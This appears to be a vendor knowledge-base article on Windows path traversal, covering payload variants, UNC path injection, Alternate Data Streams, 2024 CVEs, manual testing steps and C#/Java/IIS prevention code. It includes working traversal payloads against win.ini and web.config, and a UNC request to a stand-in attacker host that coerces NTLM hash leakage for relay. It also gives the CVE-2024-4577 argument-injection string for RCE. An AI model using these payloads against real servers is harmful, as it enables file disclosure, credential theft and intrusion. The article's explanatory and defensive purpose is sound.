Windows Path Traversal

What is Windows Path Traversal#

Windows path traversal (CWE-22) exploits Windows-specific filesystem semantics that create a wider attack surface than Linux path traversal. Windows accepts both forward slash / and backslash \ as directory separators. Win32 APIs normalize path separators, expand environment variables, handle 8.3 short filename aliases, and process UNC paths — each of these creates a bypass vector that does not exist on Unix systems.

Under OWASP A01:2021, Windows path traversal most commonly targets IIS web servers, ASP.NET applications, and PHP-CGI configurations on Windows. The vulnerability class gained renewed attention in 2024 with CVE-2024-4577 (PHP-CGI Windows argument injection, CVSS 9.8, exploited by TellYouThePass ransomware within 48 hours) and the Apache Tomcat TOCTOU chain (CVE-2024-50379, CVSS 9.8) on case-insensitive NTFS filesystems.

The primary distinction from Linux traversal is the encoding surface: a Linux-centric filter that blocks / traversal may pass \ traversal, and vice versa. A thorough Windows traversal test must cover both separators, their encoded forms, and Windows-specific path constructs including UNC paths, Alternate Data Streams, 8.3 filename aliases, and Tomcat path parameter syntax.

Mechanism#

Windows resolves .. segments regardless of whether they use / or \:

GET /download?file=..\..\..\..\Windows\win.ini HTTP/1.1
Host: iis-server.example.com
 
HTTP/1.1 200 OK
Content-Type: application/octet-stream
 
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

GET /download?file=..%5c..%5c..%5c..%5cWindows%5cwin.ini HTTP/1.1
Host: iis-server.example.com
 
HTTP/1.1 200 OK
 
; for 16-bit app support
[fonts]

The %5c encoding for backslash evades filters checking for literal \ but passes filters designed for Linux that only check for %2f or /.

Windows-Specific Traversal Variants#

Literal backslash:      ..\..\..\..\Windows\win.ini
Encoded backslash:      ..%5c..%5c..%5cWindows%5cwin.ini
Mixed separators:       ../\../\..\Windows/win.ini
Double-encoded:         ..%255c..%255c..%255cWindows%255cwin.ini
Mixed slash-backslash:  ..%2f..%5c..%2f..%5cWindows%5cwin.ini
Tomcat path params:     ..;/..;/..;/..;/Windows/win.ini

UNC Path Injection#

Windows UNC paths trigger outbound network connections from the server:

GET /download?file=\\attacker.com\share\file.txt HTTP/1.1
Host: windows-server.example.com

The Windows server initiates an SMB connection to attacker.com to resolve the UNC path. This SMB authentication attempt includes the server's NTLM hash — capturable with Responder or Impacket's ntlmrelayx. The server's machine account hash can then be relayed to other internal systems for lateral movement.

Alternate Data Streams (ADS)#

NTFS supports named streams on files, allowing multiple data forks under one filename:

GET /files/report.pdf::$DATA HTTP/1.1
GET /config/web.config::$DATA HTTP/1.1

The ::$DATA suffix reads the default data stream. Some IIS configurations and older ASP applications failed to strip this stream specifier, allowing attackers to read source code of ASP/ASPX files by appending ::$DATA — the response returns the raw source rather than executing the file.

GET /login.asp::$DATA HTTP/1.1
Host: legacy-iis.example.com
 
HTTP/1.1 200 OK
Content-Type: text/html
 
<%
  Dim strConn
  strConn = "Provider=SQLOLEDB;Data Source=db-server;..." & _
            "User ID=webapp;Password=S3cr3tDB!"
%>

Attack Variants#

High-Value Windows Target Files#

Real-World Examples#

CVE-2024-4577 — PHP-CGI Windows Best-Fit Argument Injection (CVSS 9.8): Discovered by Devcore in June 2024. Windows uses "Best-Fit" character mapping when converting between code pages: the Soft Hyphen character (Unicode 0xAD) maps to Hyphen-Minus (0x2D, the - character) under the cp932 (Japanese) encoding. Apache HTTP Server escapes 0x2D in CGI arguments but does not escape 0xAD. PHP-CGI applies Windows Best-Fit encoding normalization, converting 0xAD to 0x2D and interpreting it as a PHP-CGI command-line argument delimiter. Attackers send a request containing 0xAD-encoded "hyphens" to inject arbitrary PHP-CGI arguments: -d allow_url_include=1 -d auto_prepend_file=php://input. This achieves unauthenticated RCE without any file traversal. TellYouThePass ransomware, Gh0st RAT, and RedTail cryptominers weaponized the vulnerability within 48 hours of disclosure. CISA added it to the KEV catalog. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

CVE-2024-50379 — Apache Tomcat TOCTOU on Windows (CVSS 9.8): Tomcat's default servlet, when write operations are enabled, performs a time-of-check time-of-use race condition during JSP compilation on case-insensitive filesystems (Windows NTFS). An attacker sends concurrent partial PUT requests that manipulate the path resolution timing window to overwrite JSP files in the web application root. The overwritten JSP contains attacker-controlled code executed by Tomcat when the next request hits the file. An incomplete mitigation CVE-2024-56337 was disclosed one week later — the fix required explicit JVM system property configuration not documented in the initial advisory.

CVE-2024-38472 — Apache HTTP Server UNC Path Coercion (Windows): Part of Orange Tsai's "Confusion Attacks" cluster presented at DEF CON 32. Apache's apr_filepath_merge() function on Windows failed to reject UNC path prefixes in URI components. An attacker sent %5C%5Cattacker-server/path in a request URI, causing Apache to initiate an outbound SMB connection to attacker-server — leaking the server's NTLM credentials and enabling relay attacks. CVSS 7.5.

Detection#

Manual Testing#

1. Identify file-referencing parameters and test backslash traversal: ..\..\..\..\Windows\win.ini. Confirm with [fonts] in the response.
2. If literal backslash is filtered, test encoded backslash: ..%5c..%5c..%5cWindows%5cwin.ini.
3. Test mixed separators: ../\../\..\Windows/win.ini.
4. Attempt web.config access: ..\..\inetpub\wwwroot\web.config — confirm with <connectionStrings> or <appSettings>.
5. Test the Tomcat path parameter bypass if the target uses Tomcat: ..;/..;/..;/WEB-INF/web.xml.
6. Test ADS access on IIS targets: append ::$DATA to .asp, .aspx, or .config file paths.
7. For PHP-CGI on Windows, test CVE-2024-4577: send a request with a Soft Hyphen in the query string and observe whether PHP-CGI processes additional arguments.
8. Confirm UNC path injection by checking whether \\attacker-controlled-host\test in the path parameter triggers an outbound SMB connection (use Responder in listener mode).

Automated Detection#

BreachVex includes Windows-specific payload variants: ..%5c..%5c..%5c (encoded backslash), ..\..\..\..\Windows\win.ini (literal backslash), and ..;/..;/..;/..;/..;/..;/..;/ (Tomcat path parameter bypass, CVE-2025-55752). Windows file markers ([fonts] for win.ini, <connectionStrings> for web.config) are in the content gate. UNC path injection testing requires network capture setup outside the standard scan flow.

Prevention#

Canonical Path Validation on Windows#

// C# / ASP.NET — Path.GetFullPath normalizes both / and \ and resolves ..
using System.IO;
 
private static readonly string BASE_DIR = 
    Path.GetFullPath(@"C:\inetpub\wwwroot\uploads\");
 
public byte[] SafeReadFile(string userInput)
{
    // GetFullPath resolves both / and \ separators and .. sequences
    string resolved = Path.GetFullPath(Path.Combine(BASE_DIR, userInput));
    
    // String comparison is case-insensitive on Windows
    if (!resolved.StartsWith(BASE_DIR, StringComparison.OrdinalIgnoreCase))
    {
        throw new UnauthorizedAccessException("Path traversal blocked");
    }
    
    return File.ReadAllBytes(resolved);
}

// Java on Windows — getCanonicalFile handles both separators
import java.io.*;
import java.nio.file.*;
 
public byte[] safeDownload(String userInput) throws IOException {
    File base = new File("C:\\inetpub\\wwwroot\\uploads\\").getCanonicalFile();
    File requested = new File(base, userInput).getCanonicalFile();
    
    // toPath().startsWith() performs path-component-aware comparison
    if (!requested.toPath().startsWith(base.toPath())) {
        throw new SecurityException("Path traversal attempt blocked");
    }
    
    return Files.readAllBytes(requested.toPath());
}

Block UNC Path Input#

// Explicitly reject UNC paths and Windows drive letters in user input
private static void ValidateInputNotUNC(string userInput)
{
    if (userInput.StartsWith(@"\\") || userInput.StartsWith(@"//"))
        throw new ArgumentException("UNC paths are not permitted");
    
    // Reject drive letters (C:, D:, etc.)
    if (userInput.Length >= 2 && userInput[1] == ':')
        throw new ArgumentException("Drive letter paths are not permitted");
}

Disable Alternate Data Streams on IIS#

In IIS configuration, set allowDoubleEscaping="false" (default in IIS 7+) and configure request filtering to reject paths containing :::

<!-- web.config — IIS request filtering -->
<system.webServer>
  <security>
    <requestFiltering allowDoubleEscaping="false">
      <denyStrings>
        <add string="::" />
        <add string="%3a%3a" />
      </denyStrings>
    </requestFiltering>
  </security>
</system.webServer>

Resources#

• Path Traversal — Pillar Overview
• NVD CVE-2024-4577 — PHP-CGI Windows
• OWASP Path Traversal
• PortSwigger: File Path Traversal